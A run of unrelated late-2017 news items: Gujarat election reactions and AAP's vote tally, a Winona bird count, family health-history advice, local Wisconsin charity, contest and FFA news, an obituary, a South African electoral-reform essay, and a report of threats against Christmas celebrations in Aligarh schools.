"Modi is boring; youths prefer Alpesh Thakor, Hardik Patel and Kanhaiya Kumar over him. There is no content in his speeches," Mevani added. But will he also challenge Modi and BJP in 2019 because despite the Dalit anger against the BJP in Gujarat, the party won? Mevani shot back saying, "The 18% Dalit population will vote against the BJP."

Mevani also denied that the Dalit vote has been divided. "No, the Dalits have voted aggressively against the BJP and their anger will be evident in the 2019 general elections as well," he said referring to the Una flogging case and the suicide of student Rohith Vemula. "The Dalits will never forget these incidents."

Mevani targeted Modi's "anti-people, anti-democracy" development model when asked what has he achieved despite the Congress putting up a spirited fight but unable to stop the BJP. "Our biggest achievement has been that the Gujarat model of development, which is anti-people and anti-democracy, has been exposed. Neither Modi nor Shah can brag about development; they will have to produce results. Second, the BJP can't continue with its nonsense of progress and rising GDP of Gujarat. If the BJP does not pay attention to farmers even now, its tally will slip from 99 to 79 in the next Assembly polls."

'MORAL VICTORY FOR US'

Claiming moral victory despite the loss, Mevani said, "The fact that the BJP's winning tally slipped to double digits (99) from expected third digits (150) is a moral victory for us."

When asked whether Patidars, OBCs and Dalits will ever be united, Thakor said, "It is not about caste-based politics. We talk about poor farmers and Gujarat's development."

Despite the BJP's victory, "giant killer" Hardik put up a brave face. Recently, he had told India Today that he will be the "giant killer" in the elections by defeating the BJP. When asked on Tuesday that shouldn't he accept defeat by the BJP with Modi and Shah proving themselves to be Sikandar (Alexander the Great) again, the Patidar leader quipped, "I didn't even contest the elections. I was just making the public aware and demanding our rights. When I will contest, the public will decide my fate."

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Out of the 37 Patidar-dominated seats, the BJP captured 23 with voters in Surat, Rajkot and Ahmedabad casting ballot in the party's favour. On Patidars thronging his rallies and public meetings, but voting for the BJP, Hardik said that at times big crowds don't translate into votes, but "the Congress has more Patidar seats now".

STRONG OPPOSITION IN GUJARAT ASSEMBLY

Hardik also said that he would continue to fight for Patidars with a strong Opposition in the Assembly. "We will continue our fight. The Opposition is strong and both my friends Alpesh and Jignesh will be helpful," he said. On being asked whether he could join the Congress or merge his Patidar movement with the party, Hardik said, "I am not joining any party. To strengthen my movement, I will ask Alpesh and Jignesh to raise the issue in the Assembly."

Mevani again targeted Modi in his parting shot when asked whether the 2019 elections will be a Modi vs Rahul contest or based on issues. "It will be based on one issue: on one side, there will be a mentally old Modi and on the other, 50 crore jobless youth calling for change."

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Watch: Gujarat's 3 musketeers rip apart PM Modi: Go to sleep, let young guns take over, says Jignesh

--- ENDS ---
As cedar waxwings perched on an invasive buck thorn bush down a side road off Mankato Avenue on Saturday morning, Todd Paddock and Dave Palmquist were eagerly counting their group.

The duo documented the five birds  whose bright yellow tails give them away  and continued to search for more, as well as a fabled black-crowned night heron that had been spotted in the area.

Earlier, more than 30 mallards made their way toward Paddock and Palmquist looking for a snack (even though it isnt good for them) and both a mink and a muskrat were seen slinking through the ice and fallen trees.

The sights gleaned from Paddock and Palmquists keen eyes served a larger purpose than a casual social trip around Winona. The pair was counting bird species for the Winona Bird Clubs Christmas Bird Count, part of the 118th annual count by the National Audubon Society to track and study bird populations, growths and patterns.

The count in the Winona area was just one of the 15-mile diameter circle counts in the U.S. and around the world, all with the purpose of understanding bird populations.

Certainly its fun; its social, Palmquist said. But its really contributed to something important.

One of the groups to help count species in the Winona area, Palmquist and Paddock were not short on knowledge. Palmquist is the former lead interpretative naturalist at Whitewater State Park, and Paddock is the president of the Friends of the Refuge Headwaters, which supports the Winona district of the Upper Mississippi River National Wildlife and Fish Refuge. Both had been participated in bird counts since the 1980s, but it was their first time counting together.

With Palmquists career expertise and Paddocks work with the friends organization and as an outdoor enthusiast, the duo swapped stories of seeing snowy owls and short-eared owls. They discussed the invasions of sparrows and the starlings invasion thanks to a persons love of Shakespeare.

Flight patterns and bird calls were examined to determine which species they were spotting, while they also kept a look out for snowy owls. Commonly found in the arctic, the snowy owls make their way down further into North America when rodent populations are in the declining portions of their typical fluctuation, Palmquist explained.

Participants like Palmquist and Paddock tool around a route in a given count area throughout a designated day within mid-December to early January, counting and identifying birds they see and hear along their routes. Participants have to record the miles they travel, distinguishing between walking miles and driving miles.

Most counters will stay in their cars, Walt Carroll explained. Carroll has been organizing the local bird count for about 20 years and serves as the check-in and check-out points for counters before and after their routes.

The numbers are then submitted to the National Audubon Society, which provides the findings to environmental agencies.

Palmquist said the counts of the species totals and their locations can have a greater impact on conservation than just with the birds themselves, as bird species patterns can help with larger conservation efforts.

At the U.S. Geological Survey at the Upper Midwest Environmental Sciences Center in La Crosse, research ecologist Wayne Thogmartin uses numbers from various counts to understand bird patterns and totals and how that has changed over time and space.

By using the Christmas count and counts in the summer, Thogmartin said researchers and conversationalists can get a full understanding of what impacts birds and their habits and contributes to their growth or decline.

Using the Christmas Bird Count is one tool to find out where those limitations are, Thogmartin said.

Furthermore, by counting across the nation and into other countries, Thogmartin said researchers can gain a better idea of what areas impact birds the most.

Thogmartin gave the example of the rusty blackbird, whose populations have been declining, according to trends reported through counts. But this species does not appear to be declining in the local region, and by seeing that trend through the counts, Thogmartin said researchers can compare habitats and understand the rusty blackbirds habits and motivations.

We think that maybe it was just declining in other portions of its range and not in the south central where there is waste grain, Thogmartin explained, adding that farming habits might be contributing to the steady population in the region.

These findings are due to work by counters like Paddock and Palmquist, Thogmartin said.

I hope people enjoy tramping around and seeing all the incredible woods, Thogmartin said about the local counts. Great data source, and Im very appreciative of the people.

Its fair to say Paddock and Palmquist are also appreciative for the excuse to watch some birds, too.

Certainly its fun; its social. But its really contributed to something important. Dave Palmquist, former lead interpretative naturalist at Whitewater State Park
BARABOOKnowing your family history is an important part of understanding who you are. Knowing your family health history can save your life. While your family is gathered to celebrate the holiday season, experts hope youll take time to talk about everyones health.

Important information

In a recent survey, the U.S. Surgeon Generals office discovered that even though 96 percent of Americans say knowing their familys health history is important, only a third have ever tried to gather and write down the information.

Dr. Maureen Murphy, a family physician at SSM Health Dean Medical Group in Lake Delton and St. Clare Hospital, encourages her patients to create a family health history. It is very important for a provider to know a patients family history and its potential impact on their health, she said. We use this information to help determine how often certain screenings should be done.

Murphy offers two examples of how knowing a family history can inform her recommendations:

If a womans family history reveals her mother was diagnosed with breast cancer at age 45 and her maternal grandmother has a history of ovarian cancer, Murphy would recommend genetics counseling. The counselor would then do a more extensive family history and offer a yes-or-no recommendation on further testing for the BRCA 1 and 2 genetic mutation. If the patient has the mutation, she will be followed much more closely for the development of breast cancer.

If a patients family history includes a bleeding disorder, Murphy would recommend testing the patient for the disorder. The testing and confirmation of the bleeding disorder could prevent disastrous outcomes during future surgeries or procedures that might be avoidable if the disorder was unknown.

When developing a family health history, Murphy says she looks for specific information. The kinds of things we ask about are heart disease, stroke, high blood pressure and any cancers  including skin cancer that is melanoma. We also ask about bleeding disorders, congenital problems and mental health concerns, she said.

You should also let your doctor know about rare or genetic conditions that exist in your familys health history.

Starting the conversation

Talking about health issues can be extremely hard for some families. Stigma may surround a condition that runs in the family or family members may consider their health too private to discuss. Thats okay. Murphy says explaining the importance can help start the process.

I suggest to patients who dont know much of their familys health history to start by explaining how their doctor asked about it and how what happened to their family members could have consequences on his or her health, she explained. You dont need the gory details, but the basics of what caused someones death or illness can be extremely helpful.

One way to start is to create a family health history tree  similar to how you create a genealogy family tree.

First, make a list of the relatives you should include in your family health history. The family history that is most relevant includes first degree relatives  that would be parents, siblings or children, Murphy said. But a medical history of grandparents, aunts, uncles, cousins and other blood relatives can also provide important information.

Once youve created the list, you can make abbreviations for conditions each person has or died from over their spot in the family tree. This can offer a birds eye view of what is prominent or recurring in your familys health.

If you dont know what conditions some family members have or what someone in your family died from, make a list of questions to ask family members during a family gathering, by phone or by email.

Things to consider include:

Do you have a chronic illness  like heart disease, diabetes or high blood pressure?

Have you had any other serious illnesses, including cancer or a stroke?

How old were you when you were diagnosed?

Have you or your partner had any difficulties with pregnancy, like miscarriage?

You can also consider asking questions about other relatives  both living and deceased:

What country or countries did our family come from?

Has anyone in our family had a learning or developmental disability?

What illnesses did our late grandparents have?

How old were they when they died?

What caused their death(s)?

These questions may feel uncomfortable, thats okay. Be sensitive to your family members feelings and let them know that any information they are comfortable sharing is helpful.

Once you create your family health history, make sure you write it down and keep it easily accessible or shareable in case others in your family are interested in the information. The U.S. Department of Health and Human Services offers a free Family Health Portrait online and other services are available where you can store and share documents online.

Keep updating

Over time, your familys health will change. As children are born or family members develop illnesses, remember to add these details to your health history. It does take time and effort, but it can help keep your family healthy for generations to come.
WISCONSIN DELLS  Before making donations, Gregory C. Van Wie Charitable Foundation Board members ask themselves a question: Is this what Greg would want?

The answer is yes, when it comes to providing a financial gift for St. Clare Hospitals Cardiac Rehab Center in Wisconsin Dells, which received a $35,000 donation from the foundation on Monday. Leaders from the Baraboo-based hospital said the money will be used to purchase telemetry monitoring equipment for observing its cardiac patients.

It keeps them safe while theyre here and going through the program, said St. Clare Foundation Director Julia Randles.

Van Wie Foundation board members Bruce Rodger and John C. Van Wie, Gregs cousin, said the donation was made in memory of William Van Wie, Johns brother who passed away in November. They said he often made use of resources offered at the cardiac rehab center.

Bill had some problems with that, and other members of the Van Wie family have had heart problems, so we thought it would be a great opportunity for the foundation to help all people in the Dells area who could use the equipment in here to better their health, Rodger said.

Before Greg Van Wie passed away in 1996 at the age of 46, the Wisconsin Dells businessman and community leader set up a living trust to be monitored by his close friends and family. Since then, the Van Wie Foundation has made numerous donations totaling more than $1 million to area nonprofits, with the intent of improving the community and helping the people who live there. This years donations totaled $215,000.

They include:

$15,000 to the Columbia County Veterans Office for flag holders for veterans graves in Columbia County cemeteries.

$2,800 to the Dells American Legion for new flags for lampposts along Broadway in the Dells.

$5,000 to the Dells youth wrestling program.

$25,000 for the Happy Kids network (formerly FITS) for its program to buy clothing and toys for disadvantaged children at Christmas and to send food home on weekends with children who get free lunches at school.

$35,000 for the Adams County Historical Society so it can put an elevator for handicapped access to the second floor of its museum in Friendship.

$20,000 to Kids Ranch.

$50,000 to the Friends of the H.H. Bennett Studio.

We try to do things as if Greg were alive, John Van Wie said. This was a beautiful thing that he did  he met with his attorney and set up this living trust, so he could continue to be with us forever as long as that trust is intact.

Randles said the new telemetry equipment will allow the cardiac rehab center to grow, while ensuring its patients stay safe. She said the facility was constructed in 2015 through the hospitals Prevention Saves Live program and serves patients from as far as Montello, Adams and Portage.

Its going to have a huge impact, Randles said. It allows us to expand, it allows us to monitor more patients more effectively, and its just an incredible new opportunity for us.

John Van Wie said the donation is consistent with what Greg would have wanted.

Anything that we do, we look at each other and say, What do you think Greg would say? John said.
Time is running out for anyone wishing to enter the Edgar G. Mueller photo contest for 2017.

There are 11 prizes awarded for a total of $1,400 in prize money. The photos entered will be judged by three professional photographers in April, with the winning photos announced at the museum on May 20. The contest is being run by the Mayville Limestone School Museum in Mayville, with the prize money being made available by an anonymous donor who wishes to carry on the legacy of Edgar G. Mueller, a professional photographer who recorded the history of Mayville and surrounding communities for more than 65 years.

Any photo submitted must have been taken in the state of Wisconsin during the 2017 calendar year. The deadline is Jan. 31. The contest is open to any amateur photographer 14 or older.

Entry forms, which includes the prize categories along with the complete contest rules, are available in Mayville at Ben Franklin, the Chamber of Commerce office, or the Main Street Mayville office; LeRoy Meats in Horicon; Piggly Wiggly in Lomira; Recheks Food Pride in Beaver Dam; and Piggly Wiggly in Waupun. Entry forms can also be downloaded at mlsm.org. For more information, call 920-387-2593 or e-mail info@mlsm.org.
Each week, The Christian Science Monitor publishes a section titled Points of Progress. Some weeks I get to that two-page foldout first, not unlike a Playboy magazine aficionado opening the magazine right to the middle. Its what I want to read about. Its what I really want to see. I need that fix of good news.

Points of Progress is a weekly global roundup of things that are changing the world for the better. Progress around the world; good news. Some weeks I save it for last. Knowing that I will need some good news after reading about disasters, destruction, deception and death.

I got to read about Spain banning diesel-powered cars in Madrid by the year 2025. Half of Spains cars run on diesel right now, but there is a concerted effort to eliminate them in cities. There was an article about Scotland building roads made of recycled materials.

Points of Progress will tell about Kyrgyzstan passing a law to crack down on domestic abuse. It will tell us that teen tobacco use in the United States is dropping. Even if the rest of the news of the week is fraught with despair or divisiveness, these two pages share a world view of positive messages from around the globe.

NBC Nightly News does a similar thing. At the end of each evening broadcast they share a story about hope or redemption. It might be a story about resiliency or recovery. Free car maintenance from mechanics who want to share their skills with struggling new moms or people who need transportation to get to work was a recent offering. These warm our hearts and are feel-good pieces about people helping people.

Rotarian Magazine offers a monthly World Roundup, broadcasting the progress of well water sanitation in Bolivia and the distribution of college scholarships for agriculture students in Canada. From adding parks in communities to performing eye surgeries and distributing glasses, we read about the good news that clubs, organizations and nonprofits contribute.

Huffington Post shares a Good News section, and Scientific American continues to blow us away with new improved methods to enhance civilization. The discoveries and inventions give us hope and show us how new ways of doing things can move us forward.

Studies and polls can tell us bullying is down and in Washington, D.C., the high school graduation rate is up. Charitable giving has increased and teen drinking has declined. And while we are looking for good news, tune in to Ellen DeGeneres, who manages to find people who have done remarkable things under the radar. For a brief moment, she puts them in the spotlight so we can see what can be done with an open mind and a kind heart.

Good news surrounds us. Cancer patients recover and live long and happy lives. Eleven-year-olds get adopted, raccoons get pulled out of sewer grates, twins find each other after being separated at birth.

I cant be the only one who likes hearing about a refugee camp in Jordan that will become the first to be powered by renewable energy. That solar power will improve living conditions, make it safer for the residents and save the United Nations Refugee Agency $1.5 million a year.

If these arent enough, there is always the Power of Positivity. It is a website dedicated to the attitude of gratitude. In these times of hearing all that is unsavory, uncivilized and unimaginable going on around us, we need to remind ourselves how far we have come.

We need to remember it takes each of us doing what we can where we are to keep a fine balance between the silly and the sane, between the disparaging and the encouraging. If we cant find enough good news, maybe we just have to make some.
Downtown group names coloring contest winners

This year, Downtown Beaver Dam Inc. holiday activities included two new age categories for the coloring contest. Along with the elementary school-age category, a middle school/high school category and an adult-age category were added. These two new categories brought in some great competition from the area.

Congratulations to the winners of the middle school/high school category. First place was awarded to Andrea Carey, second place went to Clarissa Langenbach and third place went to Timothy Andersen.

Congratulations to the winners in the adult category. First place was awarded to Jennifer Ruppel, second place went to Shirley Kohls and third place went to Joyce Neuendorf.

Prizes for the middle school/high school and adult categories were donated by the following businesses: American National Bank, BMO Harris Bank, Chippys Popcorn Creations, DBDI, Family Video and Marcos Pizza.

Thank you to the Watermark staff and volunteers for your time and efforts on the beautiful display of all the coloring contest winners and also the binder display of all entries and to all who participated or helped in any way. Adults wishing to get their entry back should contact Bev at 920-887-0682.

Bev Beal Loeck, Beaver Dam
State FFA officer visit: Sam Jesse, the Wisconsin Association of FFA State Sentinel, came to CHS and CMS on Monday, Dec. 11 to visit the students in the Agriscience classes. Sam did some team building and leadership development activities with the students. He also shared opportunities available for students in the FFA and answered any questions the students had about FFA. Sam is from Lodi and was Mrs. Crooks last FFA president at Lodi.

Eighth grade visit: The eighth grade students from CMS, Zion and St. Jeromes came to the high school on Thursday morning to discover elective courses offered at the high school. The FFA officers shared information about FFA and the courses that the eighth graders can select to take as freshmen. The students learned about the Ag Careers class, Animal Science, Plant Science, Wisconsin Forestry and Wildlife, and Landscaping. They took a tour of the classroom and the greenhouse. They really enjoyed seeing the 300 gallon aquaculture tank and 50 Tilapia. In addition, they were able to see wildlife animal pelts, poinsettia plants and hydroponics units. The eighth grade students are excited to learn more about plants, animals and natural resources next year.

NICC gift wrapping: Columbus FFA members volunteered Dec. 14 to help wrap gifts at the NICC Foundation. The FFA members enjoyed practicing their wrapping techniques and helping support those in need in the community. The Columbus FFA Chapter promotes giving back to the community for leadership development and teaching students about their responsibility to help the community.

FFA officer half-time: The Columbus FFA officer team held their half-time meeting Dec. 14. The officers use this meeting to plan the rest of the FFA activities and events for the rest of the school year. The officers have a lot of new activities they plan to implement this year and will be very busy for the second semester of the school year. The new events include a grain adventures program for the fourth grade students, a Career and Technical Education Career Day for the MS students, a strawberry sale, and a Farm To Table Dinner. These activities will be in addition to their plans to celebrate National FFA Week, their annual awards banquet and a Farm Safety Program for the elementary school.

Holiday workshop: The FFA members are hosting a Holiday Workshop for fifth grade students on Thursday, Dec. 21 from 3:305 p.m. The students received invitations two weeks ago. The fifth graders will make ornaments, decorate cookies and participate in an activity called Christmas from the Farm!

Food Science Class: The students researched and prepared a presentation about one method of food preservation. This week the students have been sharing their presentation with their peers and conducting demonstrations about their preservation method. So far the students have learned about canning, freeze drying, freezing, refrigeration and food additives. They have made pickles, taste tested freeze dried fruits compared to dehydrated fruits, and tasted frozen broccoli. They have also been learning about how food scientists continue to research ways to prolong the shelf life of food for consumers.

Agricultural Careers and Leadership: The students finished their research on countries they selected from around the world in their global agriculture unit. They also role played individuals that worked for businesses related to wheat production and how a decline in wheat production in Russia and Germany and an increase in economic stability in China would impact wheat production and each of the related businesses in the U.S. Another activity they participated in was called Worldly Cattle. The students had to figure out how they would get a bull and ten cows from Columbus to Buenos Aires, Brazil. It was quite a challenge! The class finished up the week with their Food Symposium. On Thursday, they learned about proper table etiquette. Friday they presented their country profiles to the class. The students had to take note of each countrys imports and exports so that after all presentations they could find three countries to make a trade agreement with to exchange products. The students concluded the Food Symposium by sharing food items they prepared that represented their countries. The class enjoyed Chinese food, chicken alfredo and tiramisu from Italy, mashed potatoes and brats from Germany, quesadillas from Honduras, and cheese rolls, truffles and coconut dessert from Brazil. The students really enjoyed the Global Agriculture Unit.

Food, Forests and Wildlife: The sixth graders enjoyed the visit from the State FFA Officer on Monday and then spent the rest of the week sharing their Wisconsin Agriculture Commodity Presentations and their Wisconsin Wildlife Cards. The students researched these two projects last week and presented them to their peers this week. The students learned about apples, strawberries, chickens, mint, potatoes, trout, Christmas trees and so much more. The wildlife mammals included critters such as the river otter, porcupine, skunk, badger, cougar, coyote, wolf and many more. The students have learned Wisconsin is an amazing state that offers many ag commodities and nature provides a great variety of wildlife for us to enjoy.

Animals, Plants and Food Science: The students concluded their Food Science unit this week by sharing their research projects on food processing methods. They also enjoyed the activities they participated in with Sam Jesse, the state FFA officer. They spent the last part of the week learning correct animal terms and played games to help them learn the names. They learned about how animals got their names today from an old Native American folklore story and how the classification system is used to organize all living organisms.
John A. Trumble, 88, of Wisconsin Dells, passed away peacefully Wednesday, Dec. 13, 2017, with family members at his bedside.

A Mass of Christian Burial will be held at 11 a.m. Thursday, Dec. 21, at St. Cecilia's Catholic Church in Wisconsin Dells, with the Rev. Eric Sternberg celebrating. Burial will be at Calvary Cemetery. Military rites will be provided by the Harold B. Larkin American Legion Post No. 187 of Wisconsin Dells. A memorial luncheon will follow at Trappers Turn in Wisconsin Dells. Visitation will be from 9:30 a.m. until the time of service Thursday at the church.

John was born May 6, 1929, on the family homestead located along the Wisconsin River, upstream of what was then Kilbourn City, and is now Wisconsin Dells. John was the sixth child of Frank and Nora (Kenney) Trumble. After the family farm was lost in the Great Depression, the Trumble family moved into the city of Wisconsin Dells, into a home across the street from Saint Cecilias Catholic Church.

After graduating from Wisconsin Dells High School in 1947, John served in the U.S. Army with the Fifth Army Signal Corp. After completing military service, John returned to Wisconsin Dells, where he became a riverboat pilot, driving wooden tour boats for Riverview Boat Company cruising the Upper Dells of the Wisconsin River.

On June 6, 1953, John married the love of his life, Charlot June Grieves. John began studying the art of photography at this time, opening his own business, Dells Photo Service. With a meticulous eye for detail and an instinct for composition, Johns photography business thrived, which was a good thing, since John and Charlot went on to raise a family of six children!

Johns work garnered numerous awards of excellence from the Wisconsin Professional Photographers Association. Over a long career that spanned nearly four decades, John chronicled local organizations, major events and personalities, while also producing an extensive visual record of the many businesses, attractions and scenic beauty of Wisconsin Dells.

One notable example of Johns photographic skills that received national attention was his coverage of the January 1974 fires that destroyed the historic Crandall Inn and the Multnomah Manor. Johns dramatic photos of the volunteer firemen of the Kilbourn Fire Department battling these massive predawn blazes in subzero temperatures were picked up by the Associated Press wire service and published across the country.

After retiring from the photography business, John and Charlot spent many happy years together, enjoying their children and grandchildren. And they continued their passion for boating on the Wisconsin River. From his birthplace, throughout his childhood, during his working career, and finally in retirement, John always had a deep connection to his beloved Wisconsin River and the natural beauty of the Dells.

Recently, the Wisconsin Historical Society expressed an interest in acquiring Johns work for their collection. John and his family have granted this request, and donated Johns extensive commercial photography files to the Historical Society, where his work will be preserved and remain accessible to the public.

John is survived by his wife, Charlot; son, Casey (Rita) of Chapel Hill, North Carolina; daughters, Kelli (Ben Borcher), Bridget Trumble-Galley, Kate (Mark Knutson), Peggy Rose (Mark Jacobson) and Jessica (Eugene) Trumble-Nock of Longboat Key, Florida; a sister, Betty Guille of Norfolk, Virginia; his grandchildren, Jennifer Trumble, Alyssa Rose (Ben) Ziech, Freddy and Sophia Galley and Garrett, Lauren Taylor, Easton, Charles, Christopher and Wilson Nock; his great-grandchildren, Abby and Riley Rose Ziech; as well as many beloved nieces and nephews. He was preceded in death by his parents; a brother, Mark; and three sisters, Rosemary Hattle, Francis Trumble and Vanita Roeker.

The family expresses deep gratitude to Agrace Hospice, whose loving and attentive care helped John to pass naturally and in accordance with his wishes. Also, a special thank you to Todd and Shari Nelson for hosting the memorial luncheon at Trappers Turn for family and friends.

In lieu of flowers, memorial donations to either St. Cecilias Congregation or to Agrace Hospice Care would be appreciated.

Picha Funeral Home and Crematory of Wisconsin Dells assisted the family with arrangements. For online condolences and information, visit www.pichafuneralhome.com.
The party only secured 28,418 votes. Highest votes polled for an AAP candidate was in Chhota Udaipur seat winning 4,551 votes.

AAP did not intend to participate in Gujarat polls. The idea was dropped midway and the focus was to be maintained on Delhi.

By Pooja Shali: After a dismal performance in Punjab and defeat in Goa, Aam Aadmi Party (AAP) failed to open account in Gujarat election.

As per final statistics on the Election Commission of India's (ECI) website, 27 candidates represented AAP.

Highest votes polled for an AAP candidate was in Chhota Udaipur seat winning 4,551 votes, standing fourth.

Second best show was in Katargam recording a high 4,135, standing third.

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The lowest number of votes cast for the AAP was 243 in Ankleshwar, followed by 269 in Dhoraji.

Importantly, in most cases the AAP fared worse than the option of None Of The Above (NOTA).

Ankleshwar - (AAP) - 243. (NOTA) - 2732

Botad - (AAP) - 361. (NOTA) - 1,334

Manjalpur - (AAP) - 282. (NOTA) - 2,246

Chhota Udaipur - (AAP)-4,551 (NOTA)- 5,870

Dasada - (AAP) - 1,334. (NOTA) - 3,796

The only seat AAP got more votes than NOTA was in Katargam. AAP (4,135), NOTA (1,693).

AAP stood third in Devgadhbaria, sixth in Gandhidham, nineth in Gandhidham (North) and on thirteenth position in Jamnagar (Rural).

#GujaratVerdictIn Vadodara, AAP candidates express hope and confidence. Listen to what the party supporters said. #ReporterDiary (Report by @PoojaShali )To get all the LIVE updates click https://t.co/4fqxBVUizL pic.twitter.com/f77X94WF0R- India Today (@IndiaToday) December 18, 2017

An insider in the Aam Aadmi Party said the numbers were highly disappointing and the reason could be indecision and delayed campaigning by the party.

Until a few months back sources had said AAP did not intend to participate in Gujarat polls. The idea was dropped midway and the focus was to be maintained on Delhi.

However, soon a list of candidates was compiled after successive meetings, followed by campaign visits. Hectic campaigning by leaders was conducted in the month of September, October.

Total votes polled for AAP candidates across constituencies was 28,418.

AAP candidates winning in mere hundreds proved to be no match this election for BJP and Congress, which were crossing over a lakh on most seats.

In constituencies like Gandhinagar (North) and Karjan, independent candidates also fared better than the AAP.

India Today met supporters of AAP candidate Hanifbhai Ismailbhai Jamadar (Karjan seat) outside the counting centre in Vadodara district.

Expressing confidence and hope, the supporters maintained AAP is "An honest party, is non-corrupt and the candidate had received a positive welcome. The work done by AAP in Delhi must be replicated in Gujarat, as well."

Large numbers of Malfunctioning EVMs are a sign of a malfunctioning democracy under @BJP4India's rule of misgovernance. Let's vow to show them that the nation belongs to its people and not a political party. Your vote counts! https://t.co/YNm3YBdLPb- AAP Gujarat (@AAPGujarat) December 14, 2017

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The candidate eventually stood at the eighth position with 464 votes while NOTA scored 2,855 votes.

Karjan, the rural seat in Vadodara constituency was won by the Indian Nation Congress (INC) followed by the BJP.

Party convenor and other leaders consistently raised the issue of alleged EVM tampering and maintained BJP would use it to win polls. The EVM bogey was used by Congress as well.

Releasing an official statement from the party on Monday evening, AAP spokesperson Saurabh Bhardwaj said, "Though we were hardly a political stakeholder in elections of Gujarat and Himachal, we would like to reiterate our demand for counting VVPAT paper slips. At least, 25 per cent paper slips should be randomly selected in each constituency and it should be tallied with EVM results."

Bhardwaj added, "There is no logical reason why these VVPAT slips should not be counted.... Why is there so much resistance from BJP, its leaders and its government to count VVPAT?"

Next crucial test for AAP will be Rajasthan, whose In-charge is Kumar Vishwas. Vishwas is already mired in controversy with party leaders and the divided groups expressed serious trust issues, a recent one turning into a social media war.

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While AAP continues to propagate its consistent work done in education and health care sector in the National capital, it has failed to impress voters at a national level. The next few state elections will project if AAP has managed to move out of Delhi and form a government in other states.

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South Africa needs electoral reform, but presidents powers need watching

The debate about electoral reform in post-1994 SA has largely focused on the system used to elect MPs and their counterparts in the countrys nine provinces.

Within a short time, the 4000 odd delegates to South Africas governing African National Congresss 54th National Conference will elect a new party leader. In turn  save death, disaster or unlikely electoral defeat  a parliament stuffed with an ANC majority will at some point elect that leader as the new President of South Africa. The expectation is that this will be Nkosazana Dlamini-Zuma or Cyril Ramaphosa. But, if the ANC elects a pig, the ANC parliamentary majority will vote for the pig.

Although it is by no means unusual for parliaments to elect countries political leaders, there is widespread complaint in South Africa that it is the small ANC elite which attends the conference that effectively selects the next president of the country. This, it is said by many, is undemocratic.

Two main reasons are cited. First, ANC electoral procedures are deeply corrupted by money changing hands, personal ambition and factionalism. Second, it should be the people, not the party, which should be charged with electing the countrys leader.

It is therefore of considerable interest that, rather than emanating from civil society or another political party, the proposal has been made by the ANCs Gauteng provincial conference that consideration should be given to ordinary voters voting directly for presidents, premiers and mayors. This is of particular interest given that Gauteng is one of the ANCs most powerful provinces, and at the same time, one which is often at odds with the partys current leadership.

The proposal that the state president, provincial premiers and mayors be directly elected is a most welcome one, as there is much need to consider the quality of South Africas democracy, and to encourage public participation in decision-making. However, direct election of such offices simultaneously holds its risks.

The electoral reform debate

The debate about electoral reform in post-1994 South Africa has largely focused on the system used to elect MPs and their counterparts in the countrys nine provinces. The standard argument for a change was captured succinctly by ANC dissident and Umkhonto we Sizwe veteran Omry Makgoale:

When will we wake up and reform our crooked electoral system?

The argument is that the list proportional representation system results in the election of MPs who are accountable to party bosses rather than voters. Such an outcome is rendered more certain by the fact that South Africas constitution lays down that MPs or provincial legislature representatives who leave or are ejected from their parties lose their seat in the relevant legislature, plus the handy salary that goes with it. To continue with the animalistic referencing, parties elected representatives become sheep, devoid of any capacity for independence.

Such critiques often suggest (very sensibly) that the electoral system should become a mixed one which combines proportionality of outcomes with the direct election of representatives from constituencies. This was recommended in 2002 by the Van Zyl Slabbert Commission on electoral reform. But there has been relatively little debate about whether the President and premiers should be directly elected.

The survey conducted on behalf of the Van Zyl Slabbert Commission indicated that 63% of respondents would have liked to vote for the president directly. This level of preference was pretty much the same across all racial groups. Given the disastrous nature of the Zuma presidency, it is very possible that the preference for direct election would be considerably higher if the issue was put to survey respondents today.

Virtue of direction election

The virtue of the direct election of key political leaders is said to be that it renders them directly accountable to voters rather than to their political parties. On the face of it, it is an attractive argument, and it is one which could usefully introduce more diversity into the South African political system.

If they wanted to maximise their vote, parties would have to look at the qualities of their candidates, and ask themselves whether they would appeal to the electorate as a whole. (On this reckoning, it is a dead cert that Cyril Ramaphosa would streak home and dry, rather than, as under the ANCs present system, running neck and neck with his chief rival, whose popular appeal is that of a wet fish). This would mean that candidates would end up openly campaigning for the leadership, dispensing with the ANCs absurd pretence that individuals should not demonstrate political ambition.

There is also the possibility that voters would elect a president from a party other than the one which enjoys a majority in the National Assembly.

Would direct election of the president, premiers and mayors be a good idea? And, if so, what system should be adopted?

The second question is easily answered. To avoid the election of a president who gains less than 50% of a popular vote but more than any other candidate, provision would wisely be made for a second round of a presidential election in which the top two candidates engage in a run off.

A good idea?

So would direction elections be a good idea?

Parliamentary systems work well because they devolve the election of prime ministers to the legislature. On the continent, countries that inherited a parliamentary system from Britain subsequently opted for elective presidencies.

The results are not unambiguously encouraging.

In Kenya and Zambia, for instance, the direct election of presidents may have weakened the link between legislatures and executives. This has allowed executives to trample over legislatures, and for leaders to claim a legitimacy separate from that of their party. Presidents from Daniel Arap Moi through to Uhuru Kenyatta in Kenya and from Frederick Chiluba through to Edgar Lungu in Zambia have all proved exceedingly authoritarian.

It follows that changing the South African system to allow for direct election would require the country to look carefully at how a directly elected president should be rendered accountable to parliament. Would the change enhance the accountability of the government by empowering MPs, or would it render them increasingly irrelevant?

Dangers of an all-powerful president

It is also worth recalling that there is now much greater awareness about how much power is concentrated in the Presidency, in a way, it would seem, that the makers of the countrys constitution did not intend. Under Zuma, the presidency has a direct say in far too much, such as the right to appoint the head of a National Prosecuting Authority which might have the responsibility of calling him to legal account.

South Africans need to be wary of any change in the system which ends up making the President less  rather than more  accountable.

In any case, while there can be very good reasons for reforming an electoral system, this will not automatically result in better governance. Form can rarely trump substance. Robert Mugabe only won the Zimbabwean presidency in 2008 through his army and police terrorising the opposition and effectively forcing his rival, Morgan Tsvangirai, to withdraw.

It will take more than a piecemeal change to South Africas constitution to improve its democracy. South Africans should be careful what they wish for, as they can never be quite sure what they will get.

Roger Southall, Professor of Sociology, University of the Witwatersrand

This article was originally published on The Conversation. Read the original article.
In a circular, Hindu Jagran Manch warned schools "not to observe the traditional Christmas celebrations" and said if they do so, "it will be at their own risk".

By India Today Web Desk: Communal differences are quite common in the state of Uttar Pradesh.

From Independence Day celebrations in to now Christmas celebrations, these children in Aligarh are probably going through something that no child should go through.

As reported by PTI, the Hindu Jagran Manch has warned the management of all Aligarh schools against celebrating Christmas and threatened, if they did so, it would be "at their own risk".

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The warning has set alarm bells ringing in all educational institutions in the Uttar Pradesh city, especially Christian schools, where this festival is celebrated by the students and staff. In a circular, the outfit had warned schools "not to observe the traditional Christmas celebrations" and said if they do so, "it will be at their own risk".

